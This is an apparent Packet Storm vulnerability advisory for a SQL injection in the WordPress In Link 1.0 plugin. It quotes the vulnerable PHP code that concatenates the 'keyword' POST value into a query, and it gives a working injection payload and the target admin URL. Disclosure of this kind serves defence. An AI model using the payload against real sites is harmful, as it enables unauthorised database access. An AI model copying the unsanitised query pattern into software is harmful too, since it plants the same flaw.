what you don't know can hurt you

WordPress In Link 1.0 SQL Injection

WordPress In Link 1.0 SQL Injection
Posted Nov 21, 2017
Authored by Dimopoulos Elias

WordPress In Link plugin version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 600b52112356168f81ddd51bfa225566

WordPress In Link 1.0 SQL Injection

Change Mirror Download
Vulnerability Type:

SQL injection is POST parameter "keyword"

Affected plugin:
---------------------------------------
In Link
Version: 1.0
Requires WordPress Version: 2.8 or higher
Compatible up to: 2.8
URL: https://wordpress.org/plugins/inlinks/
(plugin has been closed after the report)
---------------------------------------

Affected file inlinks/inlinks.php

Affected lines:

58 $Keyword = trim($_POST['keyword']);
59 $URL = trim($_POST['url']);
60 $Rel = trim($_POST['rel']);
61 $Target = trim($_POST['target']);
62 $table_name = $wpdb->prefix ."URLKeywordsMapping";
63 $SelectKeywordURLMappingDetails = "select * from $table_name
where FldKeyword LIKE '".$Keyword."'" ;
64
65 $KeywordURLMappingDetails =
$wpdb->get_results($SelectKeywordURLMappingDetails);
66
67 if(count($KeywordURLMappingDetails))
68 {
69 $Message = "<div align='center' style=\"color:red;
font-weight:bold;\">The keyword <i>".$Keyword."</i> already exists in
the table.</div>";
70 }

More issues seems to exist in the plugin, because of lack of input
validation and the lack of use of prepared statements.

Affected URL:

/wp-admin/options-general.php?page=inlinks%2Finlinks.php

POST Parameters (with payload):
keyword=gweeperx'or+2=2--+-&url=http%3A%2F%2F127.0.0.4&rel=nofollow&target=_blank&ActionType=AddKeywordURL&Add=Add

Tested against:

* In Link 1.0
* WordPress 4.9
* mysql Ver 14.14 Distrib 5.7.20, for Linux (x86_64) using EditLine
wrapper
* PHP 7.0.22-0ubuntu0.16.04.1

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    2 Files
  • 18
    Feb 18th
    27 Files
  • 19
    Feb 19th
    32 Files
  • 20
    Feb 20th
    15 Files
  • 21
    Feb 21st
    17 Files
  • 22
    Feb 22nd
    12 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close